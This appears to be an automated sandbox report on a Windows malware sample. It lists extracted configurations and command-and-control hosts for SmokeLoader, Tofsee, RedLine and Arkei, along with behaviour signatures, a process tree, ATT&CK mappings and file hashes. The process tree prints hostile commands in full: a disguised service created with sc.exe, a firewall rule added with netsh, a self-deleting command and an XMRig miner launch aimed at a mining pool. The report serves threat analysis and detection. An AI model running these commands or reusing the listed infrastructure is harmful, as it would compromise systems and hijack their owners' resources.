Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    27-11-2021 11:43

General

  • Target

    c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9.exe

  • Size

    317KB

  • MD5

    afb3a0021341565e31cbe1585147eba5

  • SHA1

    19ae3723a821c1ff6b1a545a75e3f6bbe201dc17

  • SHA256

    c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9

  • SHA512

    48c98116d8d2ac060049e5adea5ca37fd753cd128faa92bd4100c67ef8e00c20c8ffcfe6bd8dec71bfe5841b6fca31fc2a9e44f552ec7016b5a03c0bd8f9b834

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

quadoil.ru

lakeflex.ru

Extracted

Family

redline

C2

185.159.80.90:38655

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Extracted

Family

redline

Botnet

Robot

C2

178.238.8.47:36439

Extracted

Family

redline

Botnet

456390

C2

45.77.80.187:15300

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Bazar Loader

    Detected loader normally used to deploy BazarBackdoor malware.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Bazar/Team9 Loader payload 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9.exe
    "C:\Users\Admin\AppData\Local\Temp\c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3528
    • C:\Users\Admin\AppData\Local\Temp\c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9.exe
      "C:\Users\Admin\AppData\Local\Temp\c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3960
  • C:\Users\Admin\AppData\Local\Temp\F648.exe
    C:\Users\Admin\AppData\Local\Temp\F648.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Users\Admin\AppData\Local\Temp\F648.exe
      C:\Users\Admin\AppData\Local\Temp\F648.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:660
  • C:\Users\Admin\AppData\Local\Temp\F9D3.exe
    C:\Users\Admin\AppData\Local\Temp\F9D3.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4416
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qqtposgk\
      2⤵
        PID:872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mfamqfq.exe" C:\Windows\SysWOW64\qqtposgk\
        2⤵
          PID:1144
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qqtposgk binPath= "C:\Windows\SysWOW64\qqtposgk\mfamqfq.exe /d\"C:\Users\Admin\AppData\Local\Temp\F9D3.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1624
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qqtposgk "wifi internet conection"
            2⤵
              PID:2616
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qqtposgk
              2⤵
                PID:1736
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4860
              • C:\Users\Admin\AppData\Local\Temp\FED5.exe
                C:\Users\Admin\AppData\Local\Temp\FED5.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3216
                • C:\Users\Admin\AppData\Local\Temp\FED5.exe
                  C:\Users\Admin\AppData\Local\Temp\FED5.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3244
              • C:\Users\Admin\AppData\Local\Temp\E47.exe
                C:\Users\Admin\AppData\Local\Temp\E47.exe
                1⤵
                • Executes dropped EXE
                PID:1056
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 492
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1948
              • C:\Users\Admin\AppData\Local\Temp\130B.exe
                C:\Users\Admin\AppData\Local\Temp\130B.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:2348
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\130B.exe" & exit
                  2⤵
                    PID:2120
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1076
                • C:\Windows\SysWOW64\qqtposgk\mfamqfq.exe
                  C:\Windows\SysWOW64\qqtposgk\mfamqfq.exe /d"C:\Users\Admin\AppData\Local\Temp\F9D3.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:4156
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:4952
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4724
                • C:\Windows\system32\regsvr32.exe
                  regsvr32 /s C:\Users\Admin\AppData\Local\Temp\1FCE.dll
                  1⤵
                  • Loads dropped DLL
                  PID:5008
                • C:\Users\Admin\AppData\Local\Temp\3441.exe
                  C:\Users\Admin\AppData\Local\Temp\3441.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5108
                  • C:\Users\Admin\AppData\Local\Temp\Netflix.exe
                    "C:\Users\Admin\AppData\Local\Temp\Netflix.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:4268
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      #cmd
                      3⤵
                        PID:3192
                    • C:\Users\Admin\AppData\Local\Temp\Robot_20.exe
                      "C:\Users\Admin\AppData\Local\Temp\Robot_20.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3820
                  • C:\Users\Admin\AppData\Local\Temp\382A.exe
                    C:\Users\Admin\AppData\Local\Temp\382A.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:540
                  • C:\Windows\System32\rundll32.exe
                    C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\1FCE.dll,DllRegisterServer {BE566B50-3013-4114-A507-561D3F5B6C2E}
                    1⤵
                    • Loads dropped DLL
                    PID:2112

                  Network

                  MITRE ATT&CK Matrix ATT&CK v6

                  Persistence

                  New Service

                  1
                  T1050

                  Modify Existing Service

                  1
                  T1031

                  Registry Run Keys / Startup Folder

                  1
                  T1060

                  Privilege Escalation

                  New Service

                  1
                  T1050

                  Defense Evasion

                  Disabling Security Tools

                  1
                  T1089

                  Modify Registry

                  2
                  T1112

                  Credential Access

                  Credentials in Files

                  2
                  T1081

                  Discovery

                  Query Registry

                  3
                  T1012

                  System Information Discovery

                  3
                  T1082

                  Peripheral Device Discovery

                  1
                  T1120

                  Collection

                  Data from Local System

                  2
                  T1005

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FED5.exe.log
                    MD5

                    41fbed686f5700fc29aaccf83e8ba7fd

                    SHA1

                    5271bc29538f11e42a3b600c8dc727186e912456

                    SHA256

                    df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437

                    SHA512

                    234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034

                  • C:\Users\Admin\AppData\Local\Temp\130B.exe
                    MD5

                    5cc60298f145cb5795bb265b9118a6b6

                    SHA1

                    83dab2a966ef6ac86903f3478d7a3f2af4a5f909

                    SHA256

                    3cb71a7f7b01377683f19ad7beeb21ce7edcdfbd3dc518a3f15cf1f6c60f2d20

                    SHA512

                    ed8fba6e4bd6e398dbae5641e6154c28535ee412aaff801943e475e3aa7a4ba4e949b4e2f4bd7a725ed96dbb5cf68df6888cc392d2292a397597681a6092cd3d

                  • C:\Users\Admin\AppData\Local\Temp\130B.exe
                    MD5

                    5cc60298f145cb5795bb265b9118a6b6

                    SHA1

                    83dab2a966ef6ac86903f3478d7a3f2af4a5f909

                    SHA256

                    3cb71a7f7b01377683f19ad7beeb21ce7edcdfbd3dc518a3f15cf1f6c60f2d20

                    SHA512

                    ed8fba6e4bd6e398dbae5641e6154c28535ee412aaff801943e475e3aa7a4ba4e949b4e2f4bd7a725ed96dbb5cf68df6888cc392d2292a397597681a6092cd3d

                  • C:\Users\Admin\AppData\Local\Temp\1FCE.dll
                    MD5

                    826ee7fb2a01664b3de92d65e2329d3d

                    SHA1

                    82f146d6542a0b2741c5b750bc6ed1675358c7fe

                    SHA256

                    cbd830c745bbec26733214798fe144c61ef4bac342c853f8a08b682077b2178b

                    SHA512

                    1773e703be227df86e60cdd0586f924a41861a14be17ff285bf5bb8a17fa0de4c61d752b9b1d229a3e9023fcfa9d39756c817e9d7e2f1b4d3491a4636d2566ae

                  • C:\Users\Admin\AppData\Local\Temp\3441.exe
                    MD5

                    c986e3f232dd71ac91e33cbbddf25c0a

                    SHA1

                    c0d65b2188e25c1e62de1d8bd5c4dc67f49ef248

                    SHA256

                    6c251106b903b525e3ffa3d0ac5fd47704a0970841f4a493d15fb374ee35f0e9

                    SHA512

                    e36e7e15e6e8c266e168e9570f8d08082ca8dd2d85cb6edbf5eb61ca63dacfe1db92eed9724346d3c39effa51d14dc65a23c767a4a184447032a19241482dd21

                  • C:\Users\Admin\AppData\Local\Temp\3441.exe
                    MD5

                    c986e3f232dd71ac91e33cbbddf25c0a

                    SHA1

                    c0d65b2188e25c1e62de1d8bd5c4dc67f49ef248

                    SHA256

                    6c251106b903b525e3ffa3d0ac5fd47704a0970841f4a493d15fb374ee35f0e9

                    SHA512

                    e36e7e15e6e8c266e168e9570f8d08082ca8dd2d85cb6edbf5eb61ca63dacfe1db92eed9724346d3c39effa51d14dc65a23c767a4a184447032a19241482dd21

                  • C:\Users\Admin\AppData\Local\Temp\382A.exe
                    MD5

                    f65bbd4510c7bef492297e27b649e759

                    SHA1

                    5df754fada6bff50db52acc97b02d388c52a498b

                    SHA256

                    f7628c8d79594c4e2a0a231f98df314753206b9298e9c6cb7b589374db192cdb

                    SHA512

                    cb28bcbecc81a9fe63bd577dc423c8b15b426514e5dbd73e3ae3b02855ac8f1bcc74b24dc89b86624becee93bce68784d702096609be8f43840ed6012c01d921

                  • C:\Users\Admin\AppData\Local\Temp\E47.exe
                    MD5

                    646cc8edbe849bf17c1694d936f7ae6b

                    SHA1

                    68b8e56cd63da79a8ace5c70f22cd0a6b3672497

                    SHA256

                    836e9de6ff5057a4964402ed5a9695e270a7db9e0d8b756a99203befa70fc4b7

                    SHA512

                    92df2e2fcfc8c0c2789222966f09b1c295e2b4d2f5d86a10d513dd05749507792d3df78b5f1d605517bba86cbc48c7ba6c9b54d8aba246a1b2cc0a75f626d9d1

                  • C:\Users\Admin\AppData\Local\Temp\E47.exe
                    MD5

                    646cc8edbe849bf17c1694d936f7ae6b

                    SHA1

                    68b8e56cd63da79a8ace5c70f22cd0a6b3672497

                    SHA256

                    836e9de6ff5057a4964402ed5a9695e270a7db9e0d8b756a99203befa70fc4b7

                    SHA512

                    92df2e2fcfc8c0c2789222966f09b1c295e2b4d2f5d86a10d513dd05749507792d3df78b5f1d605517bba86cbc48c7ba6c9b54d8aba246a1b2cc0a75f626d9d1

                  • C:\Users\Admin\AppData\Local\Temp\F648.exe
                    MD5

                    afb3a0021341565e31cbe1585147eba5

                    SHA1

                    19ae3723a821c1ff6b1a545a75e3f6bbe201dc17

                    SHA256

                    c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9

                    SHA512

                    48c98116d8d2ac060049e5adea5ca37fd753cd128faa92bd4100c67ef8e00c20c8ffcfe6bd8dec71bfe5841b6fca31fc2a9e44f552ec7016b5a03c0bd8f9b834

                  • C:\Users\Admin\AppData\Local\Temp\F648.exe
                    MD5

                    afb3a0021341565e31cbe1585147eba5

                    SHA1

                    19ae3723a821c1ff6b1a545a75e3f6bbe201dc17

                    SHA256

                    c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9

                    SHA512

                    48c98116d8d2ac060049e5adea5ca37fd753cd128faa92bd4100c67ef8e00c20c8ffcfe6bd8dec71bfe5841b6fca31fc2a9e44f552ec7016b5a03c0bd8f9b834

                  • C:\Users\Admin\AppData\Local\Temp\F648.exe
                    MD5

                    afb3a0021341565e31cbe1585147eba5

                    SHA1

                    19ae3723a821c1ff6b1a545a75e3f6bbe201dc17

                    SHA256

                    c790a6f123b53bd4e446c0a440c607898f63f25f9fe7ff7377849ff2a60bf7b9

                    SHA512

                    48c98116d8d2ac060049e5adea5ca37fd753cd128faa92bd4100c67ef8e00c20c8ffcfe6bd8dec71bfe5841b6fca31fc2a9e44f552ec7016b5a03c0bd8f9b834

                  • C:\Users\Admin\AppData\Local\Temp\F9D3.exe
                    MD5

                    e7f606299a819430be235ed185050de1

                    SHA1

                    73a88c1712d1c91731f7557c4a023b1599c5ac6c

                    SHA256

                    4f140797fa904582e8422edd3bc1c661b72a1a1ee23a329173017e20901e25ca

                    SHA512

                    cc78cd7711c2eaa7ed3ba52f77fdb02096bca1c35dbfff3576aa72d7273dfb7fa388b51c605188c7c66fa2cdc7d4d48b6d1652bc390de5e91ec2a97455e95c12

                  • C:\Users\Admin\AppData\Local\Temp\F9D3.exe
                    MD5

                    e7f606299a819430be235ed185050de1

                    SHA1

                    73a88c1712d1c91731f7557c4a023b1599c5ac6c

                    SHA256

                    4f140797fa904582e8422edd3bc1c661b72a1a1ee23a329173017e20901e25ca

                    SHA512

                    cc78cd7711c2eaa7ed3ba52f77fdb02096bca1c35dbfff3576aa72d7273dfb7fa388b51c605188c7c66fa2cdc7d4d48b6d1652bc390de5e91ec2a97455e95c12

                  • C:\Users\Admin\AppData\Local\Temp\FED5.exe
                    MD5

                    3c4c5a6892f8a80d51f8569f2890e22d

                    SHA1

                    96b9f631ea21ad54d1028c0d8957582d8c28eb6f

                    SHA256

                    5fddbbc0ae0862882e1232713df378fb43658b7bf71361d91a9474e95dd02040

                    SHA512

                    56cdf3512136485776c0fb7850497f0b6e735fe666b8df97dbabc55cc68f52ca1618c5ec0fceafe565881da699efc614c05365310cbec9122e5349a28296095f

                  • C:\Users\Admin\AppData\Local\Temp\FED5.exe
                    MD5

                    3c4c5a6892f8a80d51f8569f2890e22d

                    SHA1

                    96b9f631ea21ad54d1028c0d8957582d8c28eb6f

                    SHA256

                    5fddbbc0ae0862882e1232713df378fb43658b7bf71361d91a9474e95dd02040

                    SHA512

                    56cdf3512136485776c0fb7850497f0b6e735fe666b8df97dbabc55cc68f52ca1618c5ec0fceafe565881da699efc614c05365310cbec9122e5349a28296095f

                  • C:\Users\Admin\AppData\Local\Temp\FED5.exe
                    MD5

                    3c4c5a6892f8a80d51f8569f2890e22d

                    SHA1

                    96b9f631ea21ad54d1028c0d8957582d8c28eb6f

                    SHA256

                    5fddbbc0ae0862882e1232713df378fb43658b7bf71361d91a9474e95dd02040

                    SHA512

                    56cdf3512136485776c0fb7850497f0b6e735fe666b8df97dbabc55cc68f52ca1618c5ec0fceafe565881da699efc614c05365310cbec9122e5349a28296095f

                  • C:\Users\Admin\AppData\Local\Temp\Netflix.exe
                    MD5

                    286b2514208110bab3196a61039fa4dd

                    SHA1

                    9d6bb9c38fd9b923a23f83c1e7dc0d8dca3552a7

                    SHA256

                    9c49f49218eaaae954e25937c328e7404dd1d61ca13b44b00eb2500034492bfe

                    SHA512

                    92382bde2186e392dac8340d2fb89a3b8ae7832a783eda344f16970b743f005dbc6626ba59ffc4b875ab8f74bb89f89144a0380b0b44ed7f996e147371958288

                  • C:\Users\Admin\AppData\Local\Temp\Netflix.exe
                    MD5

                    286b2514208110bab3196a61039fa4dd

                    SHA1

                    9d6bb9c38fd9b923a23f83c1e7dc0d8dca3552a7

                    SHA256

                    9c49f49218eaaae954e25937c328e7404dd1d61ca13b44b00eb2500034492bfe

                    SHA512

                    92382bde2186e392dac8340d2fb89a3b8ae7832a783eda344f16970b743f005dbc6626ba59ffc4b875ab8f74bb89f89144a0380b0b44ed7f996e147371958288

                  • C:\Users\Admin\AppData\Local\Temp\Robot_20.exe
                    MD5

                    9854e0dcb0cf68a1996acd5b801f1e4b

                    SHA1

                    883e60ef57ac00c3da29f3e186c2df7bd6acc7b3

                    SHA256

                    a5ba452a894d5cb2270dfe4ba6cae0df50f2b590bec3df5ac409678c2c6fb938

                    SHA512

                    a63a74d11cfd9e675b5437365acf11d02f958c71acdfa1bf3b5bf3936806d97c3784e121010c587c87d9b71ed2ff497fe7be314113996f025048e68fcac1bd33

                  • C:\Users\Admin\AppData\Local\Temp\Robot_20.exe
                    MD5

                    9854e0dcb0cf68a1996acd5b801f1e4b

                    SHA1

                    883e60ef57ac00c3da29f3e186c2df7bd6acc7b3

                    SHA256

                    a5ba452a894d5cb2270dfe4ba6cae0df50f2b590bec3df5ac409678c2c6fb938

                    SHA512

                    a63a74d11cfd9e675b5437365acf11d02f958c71acdfa1bf3b5bf3936806d97c3784e121010c587c87d9b71ed2ff497fe7be314113996f025048e68fcac1bd33

                  • C:\Users\Admin\AppData\Local\Temp\mfamqfq.exe
                    MD5

                    17faf97118a5a6d34b4d0f0c131ac9a7

                    SHA1

                    b92346bb82952fa55bc8ae282f771797f1409ff7

                    SHA256

                    ea94a02d4bbb98ac5674ce0e6eab56e9dd85c7e2c9bcc1b1034ce87a81b95e1a

                    SHA512

                    76c9109463cc69da980db27ed5dff7950cad1b4c4b93a39115219aeb40311de76dee7fe51a53275bbcba9a6818440c442cd1f64fa0c38e55553b9b522480563c

                  • C:\Windows\SysWOW64\qqtposgk\mfamqfq.exe
                    MD5

                    17faf97118a5a6d34b4d0f0c131ac9a7

                    SHA1

                    b92346bb82952fa55bc8ae282f771797f1409ff7

                    SHA256

                    ea94a02d4bbb98ac5674ce0e6eab56e9dd85c7e2c9bcc1b1034ce87a81b95e1a

                    SHA512

                    76c9109463cc69da980db27ed5dff7950cad1b4c4b93a39115219aeb40311de76dee7fe51a53275bbcba9a6818440c442cd1f64fa0c38e55553b9b522480563c

                  • \ProgramData\mozglue.dll
                    MD5

                    8f73c08a9660691143661bf7332c3c27

                    SHA1

                    37fa65dd737c50fda710fdbde89e51374d0c204a

                    SHA256

                    3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

                    SHA512

                    0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

                  • \ProgramData\nss3.dll
                    MD5

                    bfac4e3c5908856ba17d41edcd455a51

                    SHA1

                    8eec7e888767aa9e4cca8ff246eb2aacb9170428

                    SHA256

                    e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                    SHA512

                    2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                  • \ProgramData\sqlite3.dll
                    MD5

                    e477a96c8f2b18d6b5c27bde49c990bf

                    SHA1

                    e980c9bf41330d1e5bd04556db4646a0210f7409

                    SHA256

                    16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

                    SHA512

                    335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

                  • \Users\Admin\AppData\Local\Temp\1FCE.dll
                    MD5

                    826ee7fb2a01664b3de92d65e2329d3d

                    SHA1

                    82f146d6542a0b2741c5b750bc6ed1675358c7fe

                    SHA256

                    cbd830c745bbec26733214798fe144c61ef4bac342c853f8a08b682077b2178b

                    SHA512

                    1773e703be227df86e60cdd0586f924a41861a14be17ff285bf5bb8a17fa0de4c61d752b9b1d229a3e9023fcfa9d39756c817e9d7e2f1b4d3491a4636d2566ae

                  • \Users\Admin\AppData\Local\Temp\1FCE.dll
                    MD5

                    826ee7fb2a01664b3de92d65e2329d3d

                    SHA1

                    82f146d6542a0b2741c5b750bc6ed1675358c7fe

                    SHA256

                    cbd830c745bbec26733214798fe144c61ef4bac342c853f8a08b682077b2178b

                    SHA512

                    1773e703be227df86e60cdd0586f924a41861a14be17ff285bf5bb8a17fa0de4c61d752b9b1d229a3e9023fcfa9d39756c817e9d7e2f1b4d3491a4636d2566ae

                  • memory/540-198-0x0000000000000000-mapping.dmp
                  • memory/540-200-0x0000000001300000-0x000000000144A000-memory.dmp
                    Filesize

                    1.3MB

                  • memory/660-142-0x0000000000402F47-mapping.dmp
                  • memory/872-144-0x0000000000000000-mapping.dmp
                  • memory/1056-145-0x0000000000000000-mapping.dmp
                  • memory/1056-163-0x0000000000490000-0x000000000053E000-memory.dmp
                    Filesize

                    696KB

                  • memory/1056-158-0x0000000000490000-0x000000000053E000-memory.dmp
                    Filesize

                    696KB

                  • memory/1056-165-0x0000000000400000-0x000000000042C000-memory.dmp
                    Filesize

                    176KB

                  • memory/1076-214-0x0000000000000000-mapping.dmp
                  • memory/1144-148-0x0000000000000000-mapping.dmp
                  • memory/1624-151-0x0000000000000000-mapping.dmp
                  • memory/1736-168-0x0000000000000000-mapping.dmp
                  • memory/2060-122-0x0000000000650000-0x0000000000666000-memory.dmp
                    Filesize

                    88KB

                  • memory/2060-177-0x00000000027E0000-0x00000000027F6000-memory.dmp
                    Filesize

                    88KB

                  • memory/2112-252-0x000001FA85A00000-0x000001FA85A2A000-memory.dmp
                    Filesize

                    168KB

                  • memory/2120-213-0x0000000000000000-mapping.dmp
                  • memory/2348-188-0x0000000003280000-0x00000000032A1000-memory.dmp
                    Filesize

                    132KB

                  • memory/2348-157-0x0000000000000000-mapping.dmp
                  • memory/2348-191-0x0000000000400000-0x000000000322E000-memory.dmp
                    Filesize

                    46.2MB

                  • memory/2616-162-0x0000000000000000-mapping.dmp
                  • memory/3192-242-0x0000000000400000-0x0000000000428000-memory.dmp
                    Filesize

                    160KB

                  • memory/3192-243-0x000000000041A2AE-mapping.dmp
                  • memory/3192-251-0x00000000053B0000-0x00000000059B6000-memory.dmp
                    Filesize

                    6.0MB

                  • memory/3216-132-0x0000000000B30000-0x0000000000B31000-memory.dmp
                    Filesize

                    4KB

                  • memory/3216-134-0x0000000005360000-0x0000000005361000-memory.dmp
                    Filesize

                    4KB

                  • memory/3216-129-0x0000000000000000-mapping.dmp
                  • memory/3216-137-0x00000000052E0000-0x0000000005356000-memory.dmp
                    Filesize

                    472KB

                  • memory/3216-135-0x0000000005300000-0x0000000005301000-memory.dmp
                    Filesize

                    4KB

                  • memory/3216-136-0x0000000005990000-0x0000000005991000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-172-0x0000000004F20000-0x0000000005526000-memory.dmp
                    Filesize

                    6.0MB

                  • memory/3244-201-0x0000000006A60000-0x0000000006A61000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-152-0x0000000000400000-0x0000000000420000-memory.dmp
                    Filesize

                    128KB

                  • memory/3244-153-0x0000000000418EEE-mapping.dmp
                  • memory/3244-190-0x0000000005F50000-0x0000000005F51000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-164-0x0000000005530000-0x0000000005531000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-166-0x0000000004FD0000-0x0000000004FD1000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-181-0x0000000005380000-0x0000000005381000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-167-0x0000000005100000-0x0000000005101000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-169-0x0000000005030000-0x0000000005031000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-170-0x0000000005070000-0x0000000005071000-memory.dmp
                    Filesize

                    4KB

                  • memory/3244-202-0x0000000007160000-0x0000000007161000-memory.dmp
                    Filesize

                    4KB

                  • memory/3528-121-0x00000000001D0000-0x00000000001D9000-memory.dmp
                    Filesize

                    36KB

                  • memory/3820-230-0x0000000000460000-0x000000000050E000-memory.dmp
                    Filesize

                    696KB

                  • memory/3820-219-0x0000000000000000-mapping.dmp
                  • memory/3820-240-0x00000000024C3000-0x00000000024C4000-memory.dmp
                    Filesize

                    4KB

                  • memory/3820-241-0x00000000053E0000-0x00000000053E1000-memory.dmp
                    Filesize

                    4KB

                  • memory/3820-239-0x00000000024C2000-0x00000000024C3000-memory.dmp
                    Filesize

                    4KB

                  • memory/3820-237-0x00000000024C4000-0x00000000024C6000-memory.dmp
                    Filesize

                    8KB

                  • memory/3820-238-0x00000000024C0000-0x00000000024C1000-memory.dmp
                    Filesize

                    4KB

                  • memory/3820-235-0x0000000000400000-0x0000000000452000-memory.dmp
                    Filesize

                    328KB

                  • memory/3820-233-0x0000000000530000-0x000000000067A000-memory.dmp
                    Filesize

                    1.3MB

                  • memory/3820-227-0x0000000002480000-0x00000000024AC000-memory.dmp
                    Filesize

                    176KB

                  • memory/3820-225-0x0000000002410000-0x000000000243E000-memory.dmp
                    Filesize

                    184KB

                  • memory/3960-119-0x0000000000400000-0x0000000000409000-memory.dmp
                    Filesize

                    36KB

                  • memory/3960-120-0x0000000000402F47-mapping.dmp
                  • memory/4156-180-0x0000000003280000-0x0000000003293000-memory.dmp
                    Filesize

                    76KB

                  • memory/4156-189-0x0000000000400000-0x000000000322A000-memory.dmp
                    Filesize

                    46.2MB

                  • memory/4212-123-0x0000000000000000-mapping.dmp
                  • memory/4212-140-0x0000000003576000-0x0000000003587000-memory.dmp
                    Filesize

                    68KB

                  • memory/4268-220-0x00000000000D0000-0x00000000000D1000-memory.dmp
                    Filesize

                    4KB

                  • memory/4268-216-0x0000000000000000-mapping.dmp
                  • memory/4268-224-0x000000001AD30000-0x000000001AD32000-memory.dmp
                    Filesize

                    8KB

                  • memory/4268-232-0x000000001ABB0000-0x000000001ABB1000-memory.dmp
                    Filesize

                    4KB

                  • memory/4268-228-0x000000001C960000-0x000000001C961000-memory.dmp
                    Filesize

                    4KB

